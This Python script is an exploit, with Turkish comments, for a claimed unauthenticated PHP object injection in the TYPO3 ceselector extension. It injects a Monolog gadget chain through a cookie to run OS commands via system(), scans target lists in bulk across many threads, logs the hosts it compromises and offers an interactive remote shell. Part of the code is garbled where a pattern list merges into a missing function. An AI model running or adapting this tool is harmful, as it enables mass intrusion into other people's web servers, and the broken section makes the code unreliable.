#!/usr/bin/env python3 """ CVE-2026-46725 — TYPO3 ceselector Extension Insecure Deserialization (PHP Object Injection) → RCE CVSS 9.8 (Critical) | CWE-502 Author: DhiyaneshDk | Converted to Python """ import requests, argparse, re, sys, time, shutil, json from concurrent.futures import ThreadPoolExecutor, as_completed from threading import Lock from urllib.parse import urljoin, urlparse, quote requests.packages.urllib3.disable_warnings() # ══════════════════════════════════════════════════ # RENK & ÇIKTI # ══════════════════════════════════════════════════ def tw(): return shutil.get_terminal_size((100, 24)).columns class C: G="\033[92m"; R="\033[91m"; Y="\033[93m"; B="\033[94m" CY="\033[96m"; MG="\033[35m"; DM="\033[90m"; WH="\033[97m" BL="\033[1m"; X="\033[0m" BG_R="\033[41m"; BG_Y="\033[43m"; BG_G="\033[42m" NOCOLOR = False @classmethod def fmt(cls, msg, *codes): if cls.NOCOLOR: return str(msg) return "".join(codes) + str(msg) + cls.X @classmethod def ok(cls, m): return cls.fmt(m, cls.G) @classmethod def err(cls, m): return cls.fmt(m, cls.R) @classmethod def warn(cls, m): return cls.fmt(m, cls.Y) @classmethod def dim(cls, m): return cls.fmt(m, cls.DM) @classmethod def badge_err(cls, m): return cls.fmt(f" {m} ", cls.BG_R, cls.BL, cls.WH) @classmethod def badge_warn(cls, m): return cls.fmt(f" {m} ", cls.BG_Y, cls.BL, "\033[30m") @classmethod def badge_ok(cls, m): return cls.fmt(f" {m} ", cls.BG_G, cls.BL, cls.WH) _lock = Lock() _verbose = False def out(msg="", end="\n"): with _lock: sys.stdout.write("\r" + " " * tw() + "\r" + str(msg) + end) sys.stdout.flush() def vout(msg): if _verbose: out(msg) def section(title, icon="◆"): out() out(C.fmt(f" {icon} ", C.MG, C.BL) + C.fmt(title, C.BL, C.WH)) out(C.fmt(" " + "─" * min(52, tw()-4), C.DM)) def kv(k, v, vc=None): out(C.fmt(f" · {k:<18}", C.DM) + C.fmt(str(v), vc or C.WH)) # ══════════════════════════════════════════════════ # PROGRESS BAR # ══════════════════════════════════════════════════ class Bar: def __init__(self, total, title="", color=None): self.total = max(total, 1) self.title = title self.color = color or C.CY self.current = 0 self.start = time.time() self._lines = 0 def update(self, n, info=""): self.current = n w = tw() bw = max(10, w - len(self.title) - 26) pct = n / self.total filled = int(bw * pct) elapsed = time.time() - self.start + 0.001 rate = n / elapsed eta = (self.total - n) / rate if rate > 0 else 0 bar = (C.fmt("█" * filled, self.color, C.BL) + C.fmt("░" * (bw - filled), C.DM)) l1 = (C.fmt(f" {self.title} ", C.BL, self.color) + f" [{bar}] " + C.fmt(f"{pct*100:5.1f}%", C.BL, C.WH) + C.fmt(f" ({n}/{self.total})", C.DM)) l2 = (f" " + C.fmt(f"{rate:5.1f}/s", C.G) + f" ETA " + C.fmt(f"{eta:4.0f}s", C.Y) + f" " + C.fmt(str(info)[:w-32], C.DM)) with _lock: if self._lines: sys.stdout.write(f"\033[{self._lines}A\033[J") sys.stdout.write(l1 + "\n" + l2 + "\n") sys.stdout.flush() self._lines = 2 def finish(self, msg=""): bw = max(10, tw() - len(self.title) - 26) elapsed = time.time() - self.start rate = self.current / (elapsed + 0.001) with _lock: if self._lines: sys.stdout.write(f"\033[{self._lines}A\033[J") sys.stdout.write( C.fmt(f" {self.title} ", C.BL, C.G) + f" [{C.fmt('█'*bw, C.G, C.BL)}] " + C.fmt("100.0%", C.BL, C.G) + C.fmt(f" ({self.current}/{self.total})", C.DM) + "\n" + C.fmt(" ✓ ", C.G, C.BL) + C.fmt(f"{elapsed:.1f}s {rate:.1f}/s", C.DM) + (C.fmt(f" {msg}", C.CY) if msg else "") + "\n" ) sys.stdout.flush() self._lines = 0 class CounterBar: def __init__(self, total, title="Scan"): self.total = max(total, 1) self.title = title self.n = 0 self.start = time.time() def inc(self, info=""): with _lock: self.n += 1 elapsed = time.time() - self.start + 0.001 rate = self.n / elapsed eta = (self.total - self.n) / rate if rate > 0 else 0 line = (C.fmt(f" {self.title} ", C.BL, C.CY) + C.fmt(f" {self.n/self.total*100:5.1f}%", C.BL, C.WH) + C.fmt(f" ({self.n}/{self.total})", C.DM) + C.fmt(f" {rate:.1f}/s", C.G) + C.fmt(f" ETA {eta:.0f}s", C.Y) + C.fmt(f" {str(info)[:45]}", C.DM)) sys.stdout.write("\r" + " " * tw() + "\r" + line) sys.stdout.flush() def finish(self, msg=""): elapsed = time.time() - self.start with _lock: sys.stdout.write("\r" + " " * tw() + "\r") sys.stdout.write( C.fmt(f" {self.title} ", C.BL, C.G) + C.fmt(" TAMAMLANDI", C.BL, C.G) + C.fmt(f" ({self.n}/{self.total})", C.DM) + C.fmt(f" {elapsed:.1f}s", C.DM) + (C.fmt(f" {msg}", C.CY) if msg else "") + "\n" ) sys.stdout.flush() # ══════════════════════════════════════════════════ # BANNER # ══════════════════════════════════════════════════ def print_banner(): out(C.fmt(r""" ████████╗██╗ ██╗██████╗ ██████╗ ██████╗ ╚══██╔══╝╚██╗ ██╔╝██╔══██╗██╔═══██╗╚════██╗ ██║ ╚████╔╝ ██████╔╝██║ ██║ █████╔╝ ██║ ╚██╔╝ ██╔═══╝ ██║ ██║ ╚═══██╗ ██║ ██║ ██║ ╚██████╔╝██████╔╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ """, C.CY, C.BL)) out(C.fmt(" CVE-2026-46725", C.BL, C.R) + C.fmt(" TYPO3 ceselector Extension ", C.DM) + C.badge_err("CVSS 9.8 CRITICAL")) out(C.fmt(" Insecure Deserialization (PHP Object Injection) → RCE", C.DM)) out(C.fmt(" CWE-502 | Unauthenticated | No Privileges Required", C.DM)) out(C.fmt(" " + "─" * (tw()-4), C.DM)) out() # ══════════════════════════════════════════════════ # HTTP # ══════════════════════════════════════════════════ DEFAULT_UA = ( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) " "AppleWebKit/537.36 (KHTML, like Gecko) " "Chrome/124.0.0.0 Safari/537.36" ) def make_session(timeout=15, proxy=None): s = requests.Session() s.verify = False s.timeout = timeout s.headers.update({ "User-Agent": DEFAULT_UA, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", }) if proxy: s.proxies = {"http": proxy, "https": proxy} return s def get_req(sess, url, **kw): try: return sess.get(url, allow_redirects=True, **kw) except Exception as e: vout(C.dim(f" [GET ERR] {url} → {e}")) return None # ══════════════════════════════════════════════════ # TYPO3 & CESELECTOR TESPİT # ══════════════════════════════════════════════════ def detect_typo3(sess, base_url): """ TYPO3 kurulu mu ve ceselector extension aktif mi? T3_ceselector_ cookie'si Set-Cookie header'ında var mı? """ result = { "typo3": False, "ceselector": False, "cookie_name": None, # T3_ceselector_XXXXX "cookie_value": None, # mevcut değer (gerekirse) "version": None, } r = get_req(sess, base_url) if not r: return result # ── TYPO3 sinyalleri ───────────────────────── typo3_signals = [ r'typo3', r'TYPO3', r'tx_ceselector', r'EXT:ceselector', r'mmc/ceselector', r'T3_ceselector', r'typo3conf', r'typo3temp', ] body_lower = r.text.lower() for sig in typo3_signals: if re.search(sig, r.text, re.I): result["typo3"] = True vout(C.dim(f" [detect] TYPO3 sinyal: {sig}")) break # ── Set-Cookie header'ından T3_ceselector cookie'si ── # requests birden fazla Set-Cookie'yi birleştirir, # ham header'a bakalım raw_headers = str(r.headers) # response.cookies üzerinden de kontrol for cookie_name in r.cookies.keys(): if re.match(r'T3_ceselector_\d+', cookie_name, re.I): result["ceselector"] = True result["cookie_name"] = cookie_name result["cookie_value"] = r.cookies[cookie_name] vout(C.dim(f" [detect] Cookie bulundu: {cookie_name}")) break # Ham header'dan regex ile çıkar (fallback) if not result["cookie_name"]: m = re.search( r'(?i)set-cookie\s*:\s*(T3_ceselector_\d+)=([^;\s]*)', raw_headers ) if not m: # requests headers dict'i tek satır yapmaz, # response.raw.headers dene try: for hname, hval in r.raw.headers.items(): if hname.lower() == "set-cookie": cm = re.search( r'(T3_ceselector_\d+)=([^;\s]*)', hval, re.I ) if cm: result["ceselector"] = True result["cookie_name"] = cm.group(1) result["cookie_value"] = cm.group(2) vout(C.dim( f" [detect] Raw header cookie: " f"{cm.group(1)}" )) break except Exception: pass else: result["ceselector"] = True result["cookie_name"] = m.group(1) result["cookie_value"] = m.group(2) # ceselector varsa typo3 da var demektir if result["ceselector"]: result["typo3"] = True # ── TYPO3 sürümü ───────────────────────────── ver_patterns = [ r'TYPO3\s+CMS\s+([\d.]+)', r'typo3/([\d.]+)', r'"version"\s*:\s*"([\d.]+)"', ] for vp in ver_patterns: vm = re.search(vp, r.text, re.I) if vm: result["version"] = vm.group(1) break return result # ══════════════════════════════════════════════════ # PAYLOAD — PHP Object Injection (Monolog Gadget) # ══════════════════════════════════════════════════ # URL-encoded Monolog gadget chain — system() çağrısı # Payload: O:28:"Monolog\Handler\GroupHandler":1:{...system...} # cmd parametresi "id" olarak gömülü — dinamik cmd için aşağıya bak BASE_PAYLOAD = ( "O%3A28%3A%22Monolog%5CHandler%5CGroupHandler%22%3A1%3A%7B" "s%3A11%3A%22%00%2A%00handlers%22%3B" "a%3A1%3A%7B" "i%3A0%3B" "O%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A6%3A%7B" "s%3A10%3A%22%00%2A%00handler%22%3Br%3A3%3B" "s%3A13%3A%22%00%2A%00bufferSize%22%3Bi%3A1%3B" "s%3A14%3A%22%00%2A%00bufferLimit%22%3Bi%3A0%3B" "s%3A9%3A%22%00%2A%00buffer%22%3B" "a%3A1%3A%7B" "i%3A0%3B" "O%3A17%3A%22Monolog%5CLogRecord%22%3A2%3A%7B" "s%3A5%3A%22level%22%3B" "E%3A19%3A%22Monolog%5CLevel%3ADebug%22%3B" "s%3A5%3A%22mixed%22%3Bs%3A{CMD_LEN}%3A%22{CMD_ENC}%22%3B" "%7D%7D" "s%3A14%3A%22%00%2A%00initialized%22%3Bb%3A1%3B" "s%3A13%3A%22%00%2A%00processors%22%3B" "a%3A3%3A%7B" "i%3A0%3Bs%3A15%3A%22get_object_vars%22%3B" "i%3A1%3Bs%3A3%3A%22end%22%3B" "i%3A2%3Bs%3A6%3A%22system%22%3B" "%7D%7D%7D%7D" ) def build_payload(cmd="id"): """ Monolog gadget chain içine OS komutunu göm. cmd string'i PHP serialize formatında yerleştirilir. """ cmd_len = len(cmd) cmd_enc = quote(cmd, safe="") payload = BASE_PAYLOAD.replace( "{CMD_LEN}", str(cmd_len) ).replace( "{CMD_ENC}", cmd_enc ) return payload # ══════════════════════════════════════════════════ # RCE ÇIKTISI DOĞRULA # ══════════════════════════════════════════════════ # Komuta özel kesin RCE kalıpları RCE_PATTERNS = { "id": r'uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)', "whoami": r'^(?:www-data|root|apache|nginx|nobody|http|daemon)$', "uname -a": r'Linux\s+\S+\s+\d+\.\d+\.\d+', "uname": r'(?:Linux|Darwin|FreeBSD)\s+\S+', "pwd": r'^/(?:var|home|srv|www|opt|tmp|usr)[/\w.\-]+$', "cat /etc/passwd": r'root:x:0:0:root', "ls": r'(?:total \d+|[-drwx]{10}\s+\d+)', "ls -la": r'(?:total \d+|[-drwx]{10}\s+\d+)', "ps aux": r'(?:USER\s+PID|root\s+\d+)', "env": r'(?:^|\n)(?:PATH|HOME|USER|SHELL)=', "phpinfo": r'PHP Version \d+\.\d+\.\d+', } FALSE_POSITIVES = [ r'XML-RPC', r'POST requests only', r']+>', '', body) clean = re.sub(r'&[a-z]+;', ' ', clean) clean = re.sub(r'\s+', ' ', clean).strip() # False positive kontrolü for fp in FALSE_POSITIVES: if re.search(fp, clean, re.I): vout(C.dim(f" [extract] False positive: {fp}")) return None # Komuta özel pattern pat = RCE_PATTERNS.get( cmd.strip().lower(), RCE_PATTERNS["id"] ) m = re.search(pat, clean, re.MULTILINE) if m: # Eşleşme etrafındaki bağlamı al start = max(0, m.start() - 10) end = min(len(clean), m.end() + 200) return clean[start:end].strip() return None # ══════════════════════════════════════════════════ # TEK HEDEF EXPLOIT # ══════════════════════════════════════════════════ def exploit_single(sess, base_url, cmd="id", silent=False, timeout=15): url = base_url.rstrip("/") if not url.startswith("http"): url = "http://" + url # ── 1) Tespit ───────────────────────────────── if not silent: section("TYPO3 & ceselector Tespit", "①") info = detect_typo3(sess, url) if not silent: kv("TYPO3", C.ok("✓ Tespit edildi") if info["typo3"] else C.err("✗ Bulunamadı")) kv("ceselector", C.ok("✓ Aktif") if info["ceselector"] else C.err("✗ Cookie yok")) if info["cookie_name"]: kv("Cookie Adı", info["cookie_name"], C.CY) kv("Cookie Değer", info["cookie_value"][:30] + "..." if info["cookie_value"] and len(info["cookie_value"]) > 30 else (info["cookie_value"] or ""), C.DM) if info["version"]: kv("TYPO3 Sürüm", info["version"], C.DM) if not info["typo3"]: return {"ok": False, "reason": "typo3_not_found", "url": url} if not info["ceselector"]: return {"ok": False, "reason": "ceselector_cookie_not_found", "url": url} cookie_name = info["cookie_name"] # ── 2) Payload ──────────────────────────────── if not silent: section("Payload Hazırlanıyor", "②") kv("Teknik", "PHP Object Injection → Monolog Gadget Chain", C.Y) kv("Gadget", "Monolog\\Handler\\GroupHandler", C.DM) kv("Sink", "system()", C.R) kv("Komut", cmd, C.CY) out() payload = build_payload(cmd) vout(C.dim(f" [payload] {payload[:80]}...")) # ── 3) Exploit isteği ───────────────────────── if not silent: section("Exploit Gönderiliyor", "③") headers = { "User-Agent": DEFAULT_UA, "Accept": "text/html,application/xhtml+xml," "application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close", "Cookie": f"{cookie_name}={payload}", } vout(C.dim(f" [request] GET {url}")) vout(C.dim(f" [cookie] {cookie_name}=")) r = get_req(sess, url, headers=headers) if not r: return {"ok": False, "reason": "request_failed", "url": url} vout(C.dim(f" [response] HTTP {r.status_code} " f"len={len(r.text)}")) if not silent: kv("HTTP Status", r.status_code, C.G if r.status_code == 200 else C.R) # ── 4) Çıktı çıkar ──────────────────────────── if not silent: section("RCE Çıktısı", "④") output = extract_rce_output(r.text, cmd) if output: if not silent: out(C.fmt(" ┌─ RCE ÇIKTISI ", C.G, C.BL) + C.fmt("─" * 35, C.G)) for line in output.splitlines()[:15]: out(C.fmt(" │ ", C.G) + C.fmt(line, C.WH, C.BL)) out(C.fmt(" └" + "─" * 45, C.G)) out() kv("Komut", cmd, C.CY) kv("Cookie", cookie_name, C.DM) return { "ok": True, "output": output, "url": url, "cookie_name": cookie_name, "cmd": cmd, "version": info.get("version"), } if not silent: out(C.err(" ✗ RCE çıktısı alınamadı")) out(C.dim(f" · Ham yanıt (ilk 300): {r.text[:300]}")) return { "ok": False, "reason": "no_rce_output", "url": url, "status": r.status_code, "raw": r.text[:300], } # ══════════════════════════════════════════════════ # TOPLU TARAMA # ══════════════════════════════════════════════════ def bulk_scan(targets, cmd="id", threads=10, timeout=15, proxy=None): total = len(targets) results = [] bar = CounterBar(total, "Tarama") r_lock = Lock() def worker(target): url = target.strip() if not url: return if not url.startswith("http"): url = "http://" + url sess = make_session(timeout=timeout, proxy=proxy) res = exploit_single( sess, url, cmd = cmd, silent = True, timeout = timeout, ) if res.get("ok"): tag = C.ok(f"✓ RCE {url}") with r_lock: results.append(res) out(C.fmt("\n " + "═" * 64, C.G)) out(C.ok(f" ✓ RCE ALINDI → {url}")) out(C.fmt(f" · Sürüm : " f"{res.get('version','?')}", C.DM)) out(C.fmt(f" · Cookie : " f"{res.get('cookie_name','')}", C.CY)) out(C.fmt(f" · Çıktı : " f"{res.get('output','')[:120]}", C.WH)) out(C.fmt(" " + "═" * 64 + "\n", C.G)) elif res.get("reason") == "typo3_not_found": tag = C.dim(f"– typo3 yok {url}") elif res.get("reason") == "ceselector_cookie_not_found": tag = C.dim(f"– ceselector yok {url}") elif res.get("reason") == "no_rce_output": tag = C.warn(f"? tespit edildi / RCE yok {url}") else: tag = C.err(f"✗ başarısız {url}") bar.inc(tag) with ThreadPoolExecutor(max_workers=threads) as ex: futs = {ex.submit(worker, t): t for t in targets} try: for f in as_completed(futs): f.result() except KeyboardInterrupt: out(C.warn("\n [!] Kullanıcı durdurdu.")) bar.finish(f"{len(results)} RCE bulundu") return results # ══════════════════════════════════════════════════ # KAYDET # ══════════════════════════════════════════════════ def save_results(results, outfile=None): if not results: return if not outfile: outfile = f"typo3_ceselector_{int(time.time())}.txt" lines = [] lines.append("=" * 60) lines.append("CVE-2026-46725 — TYPO3 ceselector RCE") lines.append(f"Tarih: {time.strftime('%Y-%m-%d %H:%M:%S')}") lines.append("=" * 60) lines.append("") lines.append(f"[+] RCE ALINAN HEDEFLER ({len(results)})") lines.append("-" * 40) for r in results: lines.append(f"URL : {r.get('url','')}") lines.append(f"Sürüm : {r.get('version','?')}") lines.append(f"Cookie : {r.get('cookie_name','')}") lines.append(f"Komut : {r.get('cmd','')}") lines.append(f"Çıktı : {r.get('output','')[:400]}") lines.append("") try: with open(outfile, "w", encoding="utf-8") as f: f.write("\n".join(lines)) out(C.ok(f"\n ✓ Sonuçlar kaydedildi → {outfile}")) except Exception as e: out(C.err(f" ✗ Kayıt hatası: {e}")) # ══════════════════════════════════════════════════ # İNTERAKTİF SHELL # ══════════════════════════════════════════════════ def interactive_shell(sess, base_url, cookie_name): out() out(C.fmt(" ╔══════════════════════════════════════════╗", C.G, C.BL)) out(C.fmt(" ║ İnteraktif Shell Açıldı ║", C.G, C.BL)) out(C.fmt(" ║ Çıkmak için: exit / quit / Ctrl+C ║", C.G, C.BL)) out(C.fmt(" ╚══════════════════════════════════════════╝", C.G, C.BL)) out() # Başlangıç bilgileri for init_cmd in ["id", "uname -a", "pwd"]: payload = build_payload(init_cmd) headers = { "User-Agent": DEFAULT_UA, "Cookie": f"{cookie_name}={payload}", "Connection": "close", } r = get_req(sess, base_url, headers=headers) if r: out_text = extract_rce_output(r.text, init_cmd) if out_text: first = out_text.splitlines()[0] if out_text else "" kv(init_cmd, first, C.CY) out() history = [] while True: try: prompt = (C.fmt(" typo3", C.G, C.BL) + C.fmt("@", C.DM) + C.fmt("ceselector", C.R, C.BL) + C.fmt(" $ ", C.WH, C.BL)) cmd = input(prompt).strip() except (KeyboardInterrupt, EOFError): out(C.warn("\n [!] Shell kapatıldı.")) break if not cmd: continue if cmd.lower() in ("exit", "quit", "q"): out(C.dim(" [*] Çıkılıyor...")) break if cmd.lower() == "history": for i, h in enumerate(history, 1): out(C.dim(f" {i:3} {h}")) continue if cmd.lower() == "help": out(C.dim(" Komutlar: exit, quit, history, help")) out(C.dim(" Herhangi bir OS komutu çalıştırabilirsiniz.")) continue history.append(cmd) payload = build_payload(cmd) headers = { "User-Agent": DEFAULT_UA, "Cookie": f"{cookie_name}={payload}", "Connection": "close", } r = get_req(sess, base_url, headers=headers) if not r: out(C.err(" ✗ İstek başarısız")) continue # False positive kontrolü is_fp = False for fp in FALSE_POSITIVES: if re.search(fp, r.text, re.I): out(C.err(f" ✗ Geçersiz yanıt")) is_fp = True break if is_fp: continue clean = re.sub(r'<[^>]+>', '', r.text).strip() clean = re.sub(r'\s+', ' ', clean) if clean: for line in clean.splitlines()[:20]: if line.strip(): out(C.fmt(" │ ", C.G) + line) else: out(C.dim(" (boş çıktı)")) # ══════════════════════════════════════════════════ # ARG PARSER # ══════════════════════════════════════════════════ def build_parser(): p = argparse.ArgumentParser( prog="CVE-2026-46725", description=( "TYPO3 ceselector Extension — Insecure Deserialization RCE\n" "PHP Object Injection via unserialize() cookie bypass\n" "CVSS 9.8 Critical | Unauthenticated" ), formatter_class=argparse.RawTextHelpFormatter, epilog=""" Örnekler: Tek hedef: python CVE-2026-46725.py -u https://typo3-site.com python CVE-2026-46725.py -u https://typo3-site.com -c "whoami" python CVE-2026-46725.py -u https://typo3-site.com --interactive Toplu tarama: python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt python CVE-2026-46725.py -l targets.txt -t 30 -c "id" """, ) g1 = p.add_argument_group("Hedef") mx = g1.add_mutually_exclusive_group(required=True) mx.add_argument("-u", "--url", metavar="URL", help="Tek hedef URL") mx.add_argument("-l", "--list", metavar="FILE", help="Hedef listesi (satır başı URL)") g2 = p.add_argument_group("Exploit") g2.add_argument("-c", "--cmd", default="id", metavar="CMD", help="Çalıştırılacak OS komutu (varsayılan: id)") g2.add_argument("--interactive", "-i", action="store_true", help="Başarılı exploit sonrası interaktif shell aç") g3 = p.add_argument_group("Tarama") g3.add_argument("-t", "--threads", type=int, default=10, metavar="N", help="Thread sayısı (varsayılan: 10)") g3.add_argument("--timeout", type=int, default=15, metavar="S", help="Timeout saniye (varsayılan: 15)") g3.add_argument("--proxy", metavar="URL", help="Proxy (örn: http://127.0.0.1:8080)") g4 = p.add_argument_group("Çıktı") g4.add_argument("-o", "--output", metavar="FILE", help="Sonuç dosyası") g4.add_argument("-v", "--verbose", action="store_true", help="Ayrıntılı çıktı") g4.add_argument("--no-color", action="store_true", help="Renksiz çıktı") return p # ══════════════════════════════════════════════════ # MAIN # ══════════════════════════════════════════════════ def main(): global _verbose parser = build_parser() args = parser.parse_args() if args.no_color: C.NOCOLOR = True if args.verbose: _verbose = True print_banner() # ── Toplu tarama ────────────────────────────── if args.list: try: with open(args.list, encoding="utf-8") as f: targets = [l.strip() for l in f if l.strip()] except FileNotFoundError: out(C.err(f" ✗ Dosya bulunamadı: {args.list}")) sys.exit(1) section("Toplu Tarama", "▶") kv("Liste", args.list, C.DM) kv("Hedef", len(targets), C.WH) kv("Thread", args.threads, C.DM) kv("Komut", args.cmd, C.CY) out() results = bulk_scan( targets, cmd = args.cmd, threads = args.threads, timeout = args.timeout, proxy = args.proxy, ) save_results(results, args.output) out() out(C.fmt(" ╔══ ÖZET ═══════════════════════════════╗", C.G, C.BL)) out(C.fmt(f" ║ Toplam Hedef : {len(targets):<23}║", C.WH)) out(C.fmt(f" ║ RCE Alınan : {len(results):<23}║", C.G)) out(C.fmt(" ╠═══════════════════════════════════════╣", C.G, C.BL)) for r in results: out(C.fmt(f" ║ ✓ {r['url'][:36]:<36}║", C.G)) out(C.fmt(" ╚═══════════════════════════════════════╝", C.G, C.BL)) return # ── Tek hedef ───────────────────────────────── url = args.url.rstrip("/") if not url.startswith("http"): url = "http://" + url section("Hedef Bilgileri", "▶") kv("URL", url, C.CY) kv("Komut", args.cmd, C.DM) out() sess = make_session(timeout=args.timeout, proxy=args.proxy) result = exploit_single( sess, url, cmd = args.cmd, silent = False, timeout = args.timeout, ) if result.get("ok"): save_results([result], outfile=args.output) if args.interactive: try: interactive_shell( sess, url, result["cookie_name"] ) except KeyboardInterrupt: out(C.warn("\n [!] Shell kapatıldı.")) else: try: ans = input(C.warn( "\n [?] İnteraktif shell aç? (y/n): " )).strip().lower() if ans == "y": interactive_shell( sess, url, result["cookie_name"] ) except (KeyboardInterrupt, EOFError): pass else: reason = result.get("reason", "?") out(C.fmt("\n ✗ Exploit başarısız.", C.R)) kv("Sebep", reason, C.DM) out() out(C.warn(" Öneriler:")) out(C.dim(" 1. Hedefte TYPO3 kurulu ve ceselector extension aktif olmalı")) out(C.dim(" 2. T3_ceselector_* cookie'si Set-Cookie header'ında olmalı")) out(C.dim(" 3. Persistent Mode: Static configuration aktif olmalı")) out(C.dim(" 4. -v verbose mod ile detayları inceleyin")) out(C.dim(" 5. --proxy ile Burp Suite üzerinden trafiği izleyin")) if __name__ == "__main__": main()